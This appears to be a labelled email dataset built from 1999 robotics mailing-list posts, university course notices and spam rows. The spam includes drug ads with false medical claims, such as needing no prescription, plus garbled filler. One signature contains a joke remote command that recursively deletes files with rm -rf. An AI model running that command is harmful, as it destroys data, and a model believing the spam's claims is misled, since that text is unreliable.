this point. I would really like to try it out on my EVB. I'm using the C.A. back end right now. I use Unix because reboots are for hardware upgrades... # rsh -l God universe.all find / -name '*windows*' -exec rm -rf {} \\; ",0,0 Jeff Keyzer ,handyboard@media.mit.edu,"Mon, 05 Apr 1999 00:08:11 -0700",mailing list archive site,"Hello all - I have created a website to archive the traffic generated on the Handy Board mailing list. It is currently not updating in real-time, but will start updating automatically as soon as Fred gets back and adds my second address to the mailing list. The site can be found at http://www.infosite.com/~jkeyzer/handy/index.html The search database will be updated nightly once new messages start coming in. Enjoy! -------------------- Jeff Keyzer UCSD EE Undergraduate jkeyzer@ucsd.edu ",0,1 Kathleen Tatham ,"""course@aragorn.csb.yale.edu"" ","Mon, 05 Apr 1999 07:33:57 -0700",reading packet for Bioinformatics,"Please let me know when you take your reading packet. If there are none on my door (Bass 336) I have more on a chair in my office. Thanks, kate >From kathleen.tatham@yale.edu Wed Apr 7 08:14:43 1999 Received: from aragorn.csb.yale.edu (aragorn.csb.yale.edu [130.132.17.179]) by bofur.csb.yale.edu (8.8.7/8.8.5) with ESMTP id IAA00381 for ; Wed, 7 Apr 1999 08:14:43 -0400 Received: from BIOMED.MED.YALE.EDU (biomed.med.yale.edu [130.132.19.48]) by aragorn.csb.yale.edu (8.9.1/8.9.1) with ESMTP id IAA16425 for ; Wed, 7 Apr 1999 08:14:14 -0400 (EDT) Received: from yale.edu (ktatham.mbb.yale.edu) by biomed.med.yale.edu (PMDF V5.1-10 #20971) with ESMTP id <01J9QTNLPV8W00QPGZ@biomed.med.yale.edu> for course@aragorn.csb.yale.edu; Wed, 7 Apr 1999 08:11:33 EST Date: Wed, 07 Apr 1999 08:21:40 -0700 From: Kathleen Tatham Subject: reading -- Bioinformatics To: ""course@aragorn.csb.yale.edu"" Message-id: <370B7804.ABE14EF5@yale.edu> MIME-version: 1.0 X-Mailer: Mozilla 4.07 [en] (Win16; U) Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit To whom it may concedrn: There are fourteen members of the Bioinformatics class who have picked up the reading material. If your name appears below and you have pickup your reading please let me know immediately. And as before, e-mail/notify me when you do get the packet. Thanks, Kate raghav.gorur@yale.edu vadim.alexandrov@yale.edu ayman.el-guindy@yale.edu paul.bertone@yale.edu daqi.tu@yale.edu amar.drawid@yale.edu russ@paradigm.csb.yale.edu dita.gratzinger@yale.edu rajdeep.das@yale.edu suganthi@csb.yale.edu michael.reifler@yale.edu basu@csb.yale.edu jli@bi-pharm.com shawtz@biomed.med.yale.edu chaojr@biomed.med.yale.edu >From mark.gerstein@yale.edu Thu Apr 8 21:14:07 1999 Received: from aragorn.csb.yale.edu (aragorn.csb.yale.edu [130.132.17.179]) by bofur.csb.yale.edu (8.8.7/8.8.5) with ESMTP id VAA02342 for ; Thu, 8 Apr 1999 21:14:07 -0400 Received: from mail.csb.yale.edu (csbmet.csb.yale.edu [130.132.17.44]) by aragorn.csb.yale.edu (8.9.1/8.9.1) with SMTP id VAA20623 for ; Thu, 8 Apr 1999 21:13:35 -0400 (EDT) Received: from BIFUR.csb.yale.edu (bifur.csb.yale.edu [130.132.17.175]) by mail.csb.yale.edu (8.6.11/8.6.11) with SMTP id VAA00668; Thu, 8 Apr 1999 21:13:32 -0400 Date: Thu, 8 Apr 1999 21:13:32 -0400 Message-Id: <199904090113.VAA00668@mail.csb.yale.edu> X-Mailer: emacs 19.34.1 (via feedmail 3 I) To: course@aragorn.csb.yale.edu Subject: 9 AM on 4/30 From: Mark.Gerstein@yale.edu Organization: Yale MB&B Bioinformatics (http://bioinfo.mbb.yale.edu) Reply-to: Mark.Gerstein@yale.edu Final assignment due in my mailbox (in printout form) on the 4th floor of Bass at end of reading period. Provisionally we'll set this time as 9 AM on Friday 30 April. I open to feed back on this tomorrow.",0,1 wengd@optionshealthcare.com,handyboard@media.mit.edu,"Mon, 05 Apr 1999 10:40:07 -0500",Using both Sharp GP2D02 and Polaroid 6500 -Reply,"I posted a message asking IF any one had timing issues using the 6500 and the GP2D02 but never received a response. My concern is running the sonar, IR and encoder routines concurently as seperate processes. Will IC be able to keep up??? Some reassurance would be appreciated before I order the Sharp sensors... -Drew >>> ""shsc9801@condor.stcloudstate.edu"" 04/04/99 12:16pm >>> Has anyone set up a handyboard with an expansion board which uses both the Sharp GP2D02 infrared sensors and the Polaroid 6500 sonar device without any conflict? A previous mailing stated a person having a timing conflict between the two different sensors. If anyone has set it up without having such a conflict I would like to know how they did it. Scott ",0,0 wengd@optionshealthcare.com,"handyboard@media.mit.edu, hccrobotica@ididntdoit.et.tudelft.nl, emiel.agema@multiweb.nl","Mon, 05 Apr 1999 10:59:40 -0500",Obstacles avoiding -Reply,"The idea behind a reactive (behavior based) architecture of a Rug Warrior robot is essentially stateless. You may want to add some kind of schedule or activation layer (process ) that enables the low level behaviors based on some type of state or map information. A book from MIT Press call BEHAVIOR BASED ROBOTICS is an excellent source book on behavior and hybrid robot architectures. -Drew >>> ""emiel.agema@multiweb.nl"" 04/04/99 04:12pm >>> Hello, I would like to know if there is anyone who has a good idea to avoid obstacles in a intelligent way. I've build a Rugwarrior robot. My robot has two IR proximity detectors (in front) and four bump switches (one on each side). If you simple build in a reflex which will act every time the same, e.g. bump front will cause the robot to move backward and go left, it will be not enough. At one moment the robot needs to know was happend some time before. You need some history of all the sensors, to avoid getting in a loop when the robot is in a corner of a room/field. Any ideas I like to know to solve this problem. Greetings Emiel ",0,0 Zusman Ravencraft ,handyboard@media.mit.edu,"Mon, 05 Apr 1999 04:31:15 -0700",Re: your VvtAGRA,"Hi C V V A L P X I A I m e r a A L A b v o n L I G i i z a I U R e t a x S M A n ra c http://www.upomeres.com in these here woods, yer nassty little rabbit, said he looking at the hobbits furry feet; and he picked him up by the toes and shook him. Yes, lots, said Bilbo, before he remembered not to give his friends away. No, none at all, not one, he said immediately afterwards. What dyer mean? said Bert, holding him right away up, by the hair this time. What I say, said Bilbo gasping. And please dont cook me, kind ",1,1 Gary Livick ,wengd@optionshealthcare.com,"Mon, 05 Apr 1999 09:31:43 -0700",Re: Using both Sharp GP2D02 and Polaroid 6500 -Reply,"I have a Rug Warrior fitted with the Polaroid 6500 sonar, and a Handy Board that uses the GP2D02 sensor. Both applications use a servo for aiming. On the Handy Board site, the libraries have been altered to support the GP2D02, but I did my own driver for it, so I cannot say how well that driver works with the Handy Board sonar drivers. I also use the Rug Warrior version of sonar driver. So, somebody else will have to discuss using the Handy Board drivers, but I can say that the drivers I use should work fine together. There is complete control of when they are fired, as neither of my routines utilize the 1000 system interrupt. I like the idea of using these two sensors together, as the GP2D02 fills in a sensing hole. Getting through doorways and down halls has been difficult without either detuning the standard infrared detection system, or ignoring it altogether. Plus, the GP2D02 works well at short range. I currently use it on a robot to pick up coke cans. See http://www.acroname.com/robotics/gallery/scooter/scooter.html Good luck, Gary Livick wengd@optionshealthcare.com wrote: > I posted a message asking IF any one had timing issues using the 6500 > and the GP2D02 but never received a response. My concern is running > the sonar, IR and encoder routines concurently as seperate processes. > Will IC be able to keep up??? Some reassurance would be appreciated > before I order the Sharp sensors... > -Drew > > >>> ""shsc9801@condor.stcloudstate.edu"" 04/04/99 12:16pm >>> > Has anyone set up a handyboard with an expansion board which uses > both the > Sharp GP2D02 infrared sensors and the Polaroid 6500 sonar device > without > any conflict? A previous mailing stated a person having a timing conflict > between the two different sensors. If anyone has set it up without > having > such a conflict I would like to know how they did it. > > Scott ",0,1 """Curt Mills, WE7U"" ",handyboard@media.mit.edu,"Mon, 05 Apr 1999 10:41:07 -0700",Config register and E9/E1 processor," Are there any tools for programming the E9/E1 config registers from Linux or NT? I don't have a DOS or Win95 machine handy at the moment, and I remember that the download program for the hc11E processors must be a little different. I can't get DLM to run in the emulated DOS window on NT, which is no surprise. I think I'm going to put in a long wait in the startup for GCC, just so I don't waste the config register again during debug... Curt Mills, WE7U hacker.NO_*SPAM@tc.fluke.com Senior Methods Engineer/SysAdmin ""Lotto: A tax on people who are bad at math."" -- unknown ""Windows: Microsoft's tax on computer illiterates."" -- WE7U ",0,0 """Curt Mills, WE7U"" ",handyboard@media.mit.edu,"Mon, 05 Apr 1999 10:45:43 -0700",GCC: Status," It looks like at least three of us were playing with gcc-2.8.1 over the weekend. The GCC Miniboard library is now mostly ported over to the Handyboard, and the ICC11 LCD routines are almost done being ported over. I couldn't test out the motor routines because I don't have any driver chips on my board. The beeper routine just clicks at the moment, but it should be easy to fix, considering there's an ICC11 example for how to do it also. I hope to have the LCD stuff working tonight or tomorrow night, and then will post the Handyboard library to my FTP site. Curt Mills, WE7U hacker.NO_*SPAM@tc.fluke.com Senior Methods Engineer/SysAdmin ""Lotto: A tax on people who are bad at math."" -- unknown ""Windows: Microsoft's tax on computer illiterates."" -- WE7U ",0,0 Duncan Orthner ,handyboard@media.mit.edu,"Mon, 05 Apr 1999 14:01:09 -0400",Re: mailing list archive site,"At 12:08 AM 4/5/99 -0700, Jeff Keyzer wrote: >Hello all - > >I have created a website to archive the traffic generated on the Handy >Board mailing list. This is a great idea, Jeff! From all of us, thanks. Duncan ",0,0 Arielle Ferrari ,handyboard@media.mit.edu,"Mon, 05 Apr 1999 14:40:48 -0500",Hottest Diet in America,"not unix and perseus try decade a screw a indigene ",1,0 Edgar Leatherman ,handyboard@media.mit.edu,"Mon, 05 Apr 1999 19:32:45 -0400",Quick troubleshooting help please!!!!,"Hey, Two weeks before we present our project and the HandyBoard got fried!!! Ahhh! Oh well, hopefully someone can help us identify the problem. The board seems to work fine as long as its getting power through the RS-232 connection. Once this is disconnected, we lose all power. We checked the fuse (F1), seems to be fine. We replaced the voltage regulator and that didn't help. Please, any suggestions?????? Thanks James Jplourde@wvu.edu ",0,0 """Rosalind K. Lamb"" ","annabelle@aleve.media.mit.edu, darcy@aleve.media.mit.edu","Tue, 06 Apr 1999 01:19:39 +0100",Tadalafil Soft Tabs - Great results!," Cialis is a new impotence drug used to improve Men's Health. Cialis acts up to 36 hours, while other medicines like Viagra only last for a couple of hours. The active ingredient is Tadalafil, same as in brand Cialis. Just dissolve half a pill under your tongue, 10 min before action, for the best erections you've ever had! Cialis also have less sidebacks (you can drive or mix alcohol with them). No prior prescription is needed. * Save up to 80% compared to the pharmacies. * Worldwide shipping * Impress your woman today! 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With no power applied have a look at the voltage on the battery terminals (you can get to them on the top of the board) if its zero then your battery is toast... --Chuck At 07:32 PM 4/5/99 -0400, Edgar Leatherman wrote: > Two weeks before we present our project and the HandyBoard got fried!!! >Ahhh! Oh well, hopefully someone can help us identify the problem. The >board seems to work fine as long as its getting power through the RS-232 >connection. Once this is disconnected, we lose all power. We checked the >fuse (F1), seems to be fine. We replaced the voltage regulator and that >didn't help. Please, any suggestions?????? ",0,0 MAR ERICSON ,Handy Board mailing list ,"Tue, 06 Apr 1999 03:11:35 -0400",HB encoders question,"Can the HB measure encoder pulses faster than 1 kHz? (this is the speed of the system interrupt) Assume we have an encoder that does 500 pulses per revolution. What happens when we exceed 2 revolutions per second? What happens if the encoder has two channels (quadrature) and we exceed 1 revolution per second? Is there a way to reduce the pulse rate of an encoder? Any input would be greatly appreciated. ----------- ericson mar Robotics Consultant mar@cooper.edu (212)353-4356 Department of Mechanical Engineering The Cooper Union for the Advancement of Science and Art ------------------------------------------------------- ",0,0 �� ���� ,handyboard@media.mit.edu,"Mon, 14 Dec 1931 06:05:37 +0000",��ü�ڵ� 2�ð��ȿ� ��û�� �ٷ��Ա� ����������,���� ������ ���������� ������ ���� ��   ������ ��������  �������� ��������������   ���� �������� ��������  ������   �� �� ��  ��    �� �� �� ��   ���� ��  ���� ��������   ������ ���������� ������,1,1 Mitchel Resnick ,play99,"Tue, 06 Apr 1999 12:44:24 -0400",class today,"Class will meet at the usual time and place today (2-4 in 054), despite the Digital Life meeting. Please come prepared to discuss progress on your class projects, and to discuss agenda for the rest of the semester... M... ------------------------------------- Mitchel Resnick Associate Professor MIT Media Laboratory mres@media.mit.edu 617-253-9783 617-253-6215 (fax) ",0,0 Tamara Lackner ,play99@media.mit.edu,"Tue, 06 Apr 1999 13:40:43 -0400","Fwd: TODAY: JAMES BOYK, KILLIAN HALL 3pm",">Date: Tue, 06 Apr 1999 08:20:17 -0400 >From: Brian K Smith >X-Mailer: Mozilla 4.51 (Macintosh; U; PPC) >X-Accept-Language: en >To: colloquium@media.mit.edu, msgs@media.mit.edu, artsnet@mit.edu, > csnyder@mit.edu, bianca@martigny.ai.mit.edu >Subject: TODAY: JAMES BOYK, KILLIAN HALL 3pm > > >NOTE: SPECIAL TIME AND PLACE > >Today - Tuesday 6 April >Killian Hall (Building 14), MIT >3:00pm > >James Boyk >Piano Sound on Both Sides of the Microphone > >Most music heard by most people most of the time is recorded, yet most >recordings do not serve musical meaning well. Concert pianist James >Boyk, who is also an experienced recording engineer, discusses what >aspects of piano sound are important for the meaning of the music and >how the piano should be recorded so that listeners to the recording will > >have a chance to experience the original performance legitimately. He >also discusses the performer's responsibility: Is it only for what he or > >she *does*? Or is it for what arrives at the listener's ears? A question > >and answer period will follow. > >Bio >Pianist JAMES BOYK is internationally known through his live concert >albums for Performance Recordings(R), for which he is performer, >producer and engineer. (""Fabulous"" — Gramophone.) He has engineered and >produced albums for Sheffield Lab, and is the author of many articles >about music and audio, and also of a book for musicians explaining his >own techniques for using tape recording as a tool in practicing and >teaching. (""A treasure-trove."" — Andre Watts.) At Caltech, he is Pianist > >in Residence and Director of the Music Lab, and teaches an >interdisciplinary course called ""Projects in Music & Science."" Articles > >by James Boyk can be found at >http://www.cco.caltech.edu/~boyk/ARTICLES.HTM . > ~~~~~~~~~~~~~~~~~~~~~~~~~~ tamara m lackner mit media lab ph: 617 253 1401 http://www.media.mit.edu/~tlackner",0,1 Gil Weinberg ,play99@media.mit.edu,"Tue, 06 Apr 1999 16:48:00 -0400",MAX tutorial ,"Hi all, I am planning on giving a short MAX tutorial this Friday (April 9th) 11:00AM. MAX is a graphical programming environment which is especially good for quick prototyping of MIDI, DSP and some graphics based applications. You may find Max to be a creative tool in a 5-weeks-for-a-working-demo situation. If you are planning on coming, please let me know so I can prepare enough room with enough space for you all. (I will probably do it in my office - E15-491 - if there are less than 5 participants). Gili ",0,0 Bob Kelly ,handyboard@media.mit.edu,"Tue, 06 Apr 1999 18:06:13 -0400",Need info PLEASE,"Hi, I have looked around on the mailing list and have not found anything that will answer this question.... I have an expansion board and want to use a 12v 2amp source for my motors. The hack listed in the FAQ is only for use on a handy board only, without expansion board. I don't want this to interfere adversely with my servo outputs on the expansion board. Does anyone have any suggestions? Anyone had any luck with the little hall-effect compass sold by Zagros Robotics? They didn't send me any data sheet or other info. Thanks, Bob Kelly ",0,0 Bob Kelly ,handyboard@media.mit.edu,"Tue, 06 Apr 1999 18:23:40 -0400",Hack for gearmotors sold by Acroname,"Hi, The SOHO gear motors sold by Acroname have a high gear ratio and are too slow for what I needed (189:1 or something). The front gear cover is removable with two screws and one on the gears (there are 4 metal gears in addition to the small plastic motor gears) can be removed, therby lowering the gear ratio. I havent counted teeth so I dont know how much exactly, but the speed is far more useful now for a direct connect to wheels. The gear on the main shaft is a press fit and the gear must be moved down the shaft towards the motor to contact the last gear left in place. I used wood to contact the shaft and gear surfaces while carefully tapping with a small hammer. A small spacer must be fashioned to reduce sideplay. I used plastic square stock that fit nicely over the main shaft. Though I am not going into alot of detail here, if you have one of these and open it up, you'll see what I mean. A little trial and error assembly and reassembly will make up for lack of a machine shop and precision tools. Don't throw away any leftover parts (1 gear and 1 locking pin) and if you need to, you can return it back to original configuration. I went to a surplus electronics store and found large (3"") lightweight and drillable aluminum gears that I can attach the wheels of my choice too. This motor has a 3/16"" output shaft. Hope this helps somebody out there. ",0,0 """alain.janicki"" ",handyboard@media.mit.edu,,Hello!,"With our Soft Cialis Tabs you will be able to chop the wood with your dick.(Warning: don�t try it). http://adjmckfhl.cutpro.info/?begifhlxwnvpyadjmzctck=2505547BB03414CB7BDBDB5@BBD55AAA65EAD@= =2505547BB03414CB7BDBDB5@BBD55@AA65EADA= About t1me! Harry snarled, as she landed lightly on top of her cage. You",1,1 Dale ,shirley@csc-sun.math.utah.edu,"Wed, 28 Feb 1996 08:04:31 +0200",you wont regret it Geneva ," ED Choice, your best choice for ED drugs Viagra 100mg - $1.56 /pill Viagra SOFT $1.89 /pill NEW! Cialis $3.00 /pill Cialis SOFT $3.33 /pill NEW! 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Also, we rediscovered quite a treasure-trove in our group of musical games and CD-Roms (including Toshio Iwai's incredible ""Musical Insects"") that are really worth a look by anyone interested in anything related to music or image games or activities. Come to our area to play, or feel free to borrow these (returning them, of course). Since I'll be back and forth from Houston for the next couple of weeks, contact either Josh (strickon@media) or Gili (gili@media) if you want to check them out. Tod ",0,1 MSMKatz ,handyboard@media.mit.edu,"Wed, 07 Apr 1999 21:16:45 +0200",1. Use of sony-ir functions in program; 2. smooth PWM,"Hi everybody! My first question is about using the sony-ir functions in a program: After loading sony-ir.icb and executing ""sony_init(1)"" at the IC prompt, I can successfully retrieve signals from my sony remote control via the function ""ir_data(0)"", again given at the IC prompt. However, if I put these functions in a IC program (see below) and execute it in the Handy Board, ""ir_data(0)"" keeps returning the value ""0"" all the time! As a beginning IC programmer, I'm obviously missing something here, but what? void run(void) { sony_init(1); while(1) { printf(""Press START ...\\n""); start_press(); while (1) { printf(""IR-code = %d\\n"", ir_data(0)); sleep(1.0); printf(""Press STOP...\\n""); sleep(1.0); if (stop_button()) break; } } } My second question is about using the smooth PWM-routines. I've downloaded the 'smooth' pcode_hb.s19 and lib_hb.c files. Lib_hb.c has IC code that I believe has been changed in later versions. For example: the version of lib_hb.c I currently use has no IC code for _raw_analog, which is implemented in assembly in lib_hb.icb. Should I copy the smooth PWM routines into my current lib_hb.c and use it together with my lib_hb.icb? I'd appreciate your help on these issues! Best regards, Marc Katz (I'm on the mailing list!) msmkatz@wxs.nl ",0,0 Barker Ronda ,handyboard@media.mit.edu,"Wed, 07 Apr 1999 11:53:03 -0500","is your memory bad, we can help","some middleton ! sarcasm on contrition the odin but greta ",1,0 """Michael F. Vineyard"" ",ggilfoyl@richmond.edu,"Wed, 07 Apr 1999 16:07:35 -0400",Matching funds for DOE grant,"Hi Herb, As we discussed in our phone conversation, the renewal of our US Department of Energy grant was approved, but we did not get additional funds ($75,000) that we requested for a computer cluster to support our research at Jefferson Lab. However, we did get permission from DOE to use funds (about $30,000) that we have left over in our current funding period budget toward the purchase of the computer cluster. We are requesting matching funds from the University for the computer cluster. We believe this is a reasonable request considering that this grant has brought in over $250,000 in indirect costs over the last 11 years, and will bring in another $66,240 in the next 3 years. The computer cluster and the work we do using it will constitute our service contribution to the CLAS Collaboration in Hall B at Jefferson Lab. Our participation in this collaboration has been an important factor in our ability to maintain this research grant. The computer cluster will also provide modern technology training for our students and make us competitive with our collaborators at places like ODU and UVa. We have sent more detailed information about this to you in the mail. Thanks for working with us on this. Mike Vineyard Jerry Gilfoyle -- Michael F. Vineyard Phone: (804) 289-8257 Department of Physics Fax: (804) 289-8482 University of Richmond, VA 23173 E-mail: mvineyar@richmond.edu WWW: http://www.science.urich.edu/~vineyard/MFVHome.html ",0,1 Duncan Orthner ,handyboard@media.mit.edu,"Wed, 07 Apr 1999 18:42:17 -0400",Re: Use of sony-ir functions in program,"At 09:16 PM 4/7/99 +0200, MSMKatz wrote: >My first question is about using the sony-ir functions in a program: >After loading sony-ir.icb and executing ""sony_init(1)"" at the IC prompt, >I can successfully retrieve signals from my sony remote control via the >function >""ir_data(0)"", again given at the IC prompt. >However, if I put these functions in a IC program (see below) and >execute it in the Handy Board, ""ir_data(0)"" keeps returning the value >""0"" all the time! There is some sample code for using irdata(); in the sonytest.c file. Basically it needs to be put in a loop so that it will refresh the value for the received code. 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Get your free @yahoo.com address at http://mail.yahoo.com ",0,1 Clancy Nelson ,HB Mail List ,"Thu, 08 Apr 1999 03:03:43 -0500",PCB coating,"I have been making my own PCBs and would like to coat the copper side with something to keep the copper in good shape, does anyone have any suggestions?. Thanks, Clancy ",0,0 Duncan Orthner ,handyboard@media.mit.edu,"Thu, 08 Apr 1999 08:22:52 -0400",Re: PCB coating,"At 03:03 AM 4/8/99 -0500, Clancy Nelson wrote: >I have been making my own PCBs and would like to coat the copper side with >something to keep the copper in good shape, does anyone have any >suggestions?. Hi Clancy, there are tinning compounds (for use prior to soldering) but I've always just sprayed it with clear lacquer (after soldering). Keeps the copper from oxidizing... Cheers, Duncan ",0,0 Michael Hawley ,play99@amt.media.mit.edu,"Thu, 08 Apr 1999 07:34:51 -0400",magnets and accelerometers; Reiner Knizia and Eric Zimmerman,"All, I will be out April 13, frustratingly, as I am especially eager to help gin up project ideas (with all groups of course, but with a special focus on the ""magnet"" and ""accelerometer"" teams). I'll ask Bakhtiar and Phil et al to see what we can somehow schedule. But most important, I'd love to hear a concise status from each project team so that I can get moving to find additional resources that might help any of you. Note that we will have two guests coming up: April 20: Reinar Knizia (thanks to Matt Gray and Charlotte!) April 27: Eric Zimmerman (thanks to Mitch!) Both are renowned game designers. We are trying to schedule Steve Meyer and his father (Steve runs Meyer-Glass, and their firm came up with gems like Lite-Brite, Mousetrap, Rock-em-Sock-em robots, etc); John Eyler (FAO Schwartz); Chuck Jones (Bugs Bunny); and Matt Groening (Simpsons; Futurama). Mike ",0,0 Mike Jones ,HB Mail List ,"Thu, 08 Apr 1999 07:47:37 +0500",Re: PCB coating,">I have been making my own PCBs and would like to coat the copper side with >something to keep the copper in good shape, does anyone have any >suggestions?. >Thanks, Clancy I would think a coat of lacquer would do pretty good. It could be colored or clear. If you are making multiple boards you could probably even use a small screen print system to apply it. Mike ",0,0 Mitchel Resnick ,play99,"Thu, 08 Apr 1999 10:16:27 -0400",upcoming sessions,"For next week's session (April 13), we will divide time between: (1) Discussion of ""styles of play"". Last week, we handed out two papers on this topic, one by Turkle/Papert, the other by Shotwell/Wolf/Gardner. If you didn't get copies of these papers, you can pick them up from Carolyn in 020A (stoeber@media.mit.edu). In our in-class discussion, we will try to relate the issues in these papers to the class projects. (2) Status reports on class projects. It would be great if groups could show early/partial prototypes and discuss specific design issues. ---------- As mentioned in class, game designer Eric Zimmerman will be visiting the Media Lab on April 27. We have arranged for him to make a presentation at 4:00 pm, directly after class. Below is Eric's bio, along with a brief description of what he plans to discuss in his presentation... ------------- >Eric Zimmerman >Bio > >Eric is an independent game designer who works on and off the computer in a variety of cultural contexts. Current digital projects include Sissyfight2000, a perverse multiplayer game for Word.com and BLiX, a self-published title that won a Silver award from International Design Magazine (available May 1999 at www.stationblix.com). > >Two years ago, Eric founded Flat, a New York-based computer game developer focused on multiplayer email games. Before helping to create Flat, Eric was Senior Game Designer at R/GA Interactive where he directed the development of a number of game titles, including the award-winning CD-ROM Gearheads. > >He is currently an Adjunct Professor at New York University¹s Interactive Telecommunications Program, where he teaches Game Design and Interactive Narrative. Eric has lectured widely on these topics, recently at the U. of Malmo (Sweden), U. of Jyvaskyla (Finland), Assoc. of Multimedia Professionals (Lisbon), Doors of Perception (Amsterdam), Banff Center for the Arts, Carnegie Melon, Brown, USC, UCLA, ISEA, Columbia, Hunter, and Parsons School of Design. > >Eric is a published author on the topic of interactive entertainment, with recent articles appearing in 21C, Zed, If/Then, Merge, and I.D. Magazine. His first boardgame, Organism, will be published in 1999 by Semiotext(e) Press. He has also exhibited non-computer game projects at the Center for Contemporary Art in Grenoble, France and the Sara Meltzer Gallery in New York City. > > - - - - - - - - > >Proposed presentation for April 27 > >Despite the proliferation of games in the world today, game design has yet to establish a critical discourse in the way that architecture, graphic design, and other design disciplines have. Building from historical definitions of play and games, I will provide a way of thinking about games as designed and constructed objects along formal, social, and cultural axes. I will also share some of my own game design work in the computer and paper realms. ------------------------------------- Mitchel Resnick Associate Professor MIT Media Laboratory mres@media.mit.edu 617-253-9783 617-253-6215 (fax) ",0,0 """Curt Mills, WE7U"" ",Handyboard List ,"Thu, 08 Apr 1999 06:36:29 -0700",Re: GCC 2.8.1 for HC11 ," The GCC Miniboard library -plus- LCD routines are almost completely ported to the Handyboard. The LCD routines started playing nicely early this morning but I haven't added the low-level stuff into the timer interrupt yet. I can now write characters to the display! Serial-out works. Haven't debugged the beeper yet, and haven't tested serial-in or motor routines (don't have any motor chips or IR on my board). WARNING: It appears that the GCC/HC11 array indexing isn't working. I had to convert the LCD code to use pointers for the circular queue (which actually made the code quite a bit smaller - probably faster too). If anyone knows how to fix array indexing in GCC, please let me know. It's probably something in the code that I touched. I didn't have to touch any of the assembler/linker code, so I believe it is a GCC-for-HC11 problem. WARNING: The linker (Baldwin?) is buggy, or at least misleading. I spent a lot of energy trying to get each memory segment located into the correct memory region. I found out that by creating some global labels (using ""::"") and assembling/linking again that the map file showed the correct addresses for global labels, but incorrect addresses for the memory segment. Believe the global labels. I added extra labels at the beginning/end of various segments so that they became visible in the map files. Oh yea, did you know that if you create code which is located in the first page of memory that the loader will give you an error while trying to load it? ;-) I guess the running loader code has to live somewhere... I located the LCD code into 0x0100-0x01ff to get around this (I have an E1/E9 chip - 512 bytes RAM). I'll change it later so the code is moved into first page memory from somewhere else when the program starts. That way it'll run on the A-series HC11 chips as well. I now have the full 32.5K RAM to play in. Sure is nice. Curt Mills, WE7U hacker.NO_*SPAM@tc.fluke.com Senior Methods Engineer/SysAdmin ""Lotto: A tax on people who are bad at math."" -- unknown ""Windows: Microsoft's tax on computer illiterates."" -- WE7U ",0,0 Stefano Falconetti ,handyboard discussion list ,"Thu, 08 Apr 1999 17:47:04 +0200",interactive C,"Hi, I'm new to 6811 and I've a board that is different from the handyboard. I'd like anyway to try interactive C. Who can explain me how many interesting things I can do with 32Kb of interactiove C code ? What I need ? And where can I find all the necessary ? I know these can be stupid questions... anyway thanks to anyone will have the patience to answer me. Stefano ",0,0 Chuck McManis ,Handyboard List ,"Thu, 08 Apr 1999 10:30:22 -0700",Re: GCC 2.8.1 for HC11 ,"At 06:36 AM 4/8/99 -0700, Curt Mills, WE7U wrote: >Oh yea, did you know that if you create code which is located in the first >page of memory that the loader will give you an error while trying to load >it? ;-) I guess the running loader code has to live somewhere... ... >I located the LCD code into 0x0100-0x01ff to get around this (I have an >E1/E9 chip - 512 bytes RAM). I'll change it later so the code is moved >into first page memory from somewhere else when the program starts. That >way it'll run on the A-series HC11 chips as well. Curt, may I suggest that rather than re-invent the wheel you take the LCD code out of the Handyboard libraries I wrote that are on the icc11 site. They should pretty much compile out of the box and I know they work :-) They are also about 75% more efficient than the IC version as they don't spend anytime busy waiting on the LCD (this really helps multiple servo performance!) The interface isn't exactly the same as IC (there are things like cursor positioning routines and support for other LCD sizes) but they are useful. --Chuck ",0,0 Guth Varner ,Handyboard@media.mit.edu,"Thu, 08 Apr 1999 06:57:54 -0700",Re: VAhLtUM new,"Hi C s I k A o L t I w S y V x A m L i I p U k M v V e I z A t G l R n A l X f A n N w A g X x http://www.heavenwardlokvan.com billo passibl ruminan aeroembolis wanto Mo as he crawled over to the road, stood up and smoothed his clothes, trying to look as respectable as possible. Standing on the hard coarse surface, common sense dictated that he continue north, in the direction the car was heading; to return south was not only pointless but conceivably dangerous. Suddenly, it struck him. Good God! Did I just do what I just did? ",1,1 """Curt Mills, WE7U"" ",Chuck McManis ,"Thu, 08 Apr 1999 10:35:54 -0700",Re: GCC 2.8.1 for HC11 ,"On Thu, 8 Apr 1999, Chuck McManis wrote: > Curt, may I suggest that rather than re-invent the wheel you take the LCD > code out of the Handyboard libraries I wrote that are on the icc11 site. I took the assembly routine out of the ICC11 library and adapted it slightly for GCC (input/output params mostly). I had to split up the assembly and C-code portions into separate files, and have the lcd.h/lcd.c/lcdasm.s files ported and working, but haven't finished with lcdio.h. Gotta sleep sometime. After I converted everything in lcd.c over to pointer-based access, the code got smaller and probably a lot faster as well. I'll go back and try to optimize everything for speed later though once it is stable. One friend I showed the code to said ""Wow! I didn't know anybody ever actually read in the busy bit... I'm impressed!"". He's done a lot of LCD stuff, and that's the first code he had seen that read anything from the LCD module. Thanks again for letting me use the code. Saved me probably weeks of effort. Curt Mills, WE7U hacker.NO_*SPAM@tc.fluke.com Senior Methods Engineer/SysAdmin ""Lotto: A tax on people who are bad at math."" -- unknown ""Windows: Microsoft's tax on computer illiterates."" -- WE7U ",0,0 Keith Hearn ,Chuck McManis ,"Thu, 08 Apr 1999 11:33:35 -0700",Re: GCC 2.8.1 for HC11 ,"I've taken a look at Chuck's LCD code, and I agree that it's the best I've come across. I spent last weekend studying how to program the HB in assembly. There is a woeful lack of documentation for it. There is plenty of docs on programming in IC, but below that level, you end up looking at schematics. I do have the Motorola reference books on the 6811, and have no problem figuring out how to program the SCI, SPI, the various handshake modes, et. al., but figuring out how they relate to the various handy board (and especially expansion board) connectors is really tough. Is there something I've missed that describes how to do low level programming on the handyboard? Just about everything I've figured out how to do came from reading other people's code. So I've spent some hours lately reading the code other people have written for the handyboard and the miniboard. And I really like Chuck's libraries. BTW, if there's nothing out there that describes low-level programming on the handyboard, I'll probably write up my notes on what I've learned and make them available so future people don't have to go through what I'm going through. Keith In message <4.1.19990408102525.03d34100@mailhost.hq.freegate.com>, Chuck McMani s writes: > > Curt, may I suggest that rather than re-invent the wheel you take the LCD > code out of the Handyboard libraries I wrote that are on the icc11 site. > They should pretty much compile out of the box and I know they work :-) > They are also about 75% more efficient than the IC version as they don't > spend anytime busy waiting on the LCD (this really helps multiple servo > performance!) The interface isn't exactly the same as IC (there are things > like cursor positioning routines and support for other LCD sizes) but they > are useful. > > --Chuck >",0,0 Kat ,Handyboard@media.mit.edu,"Thu, 08 Apr 1999 11:55:15 -0700",Multi-Processing,"Hello all- I am using my Handy Board on a robot. My team and and I thought it would be really cool if we could get it to play music while it is moving. Is there a way to do this? In my testing it seems that it only does one or the other. If anyone could point me in the right direction that would be wonderful. Thank you, Kathy ",0,0 Gary 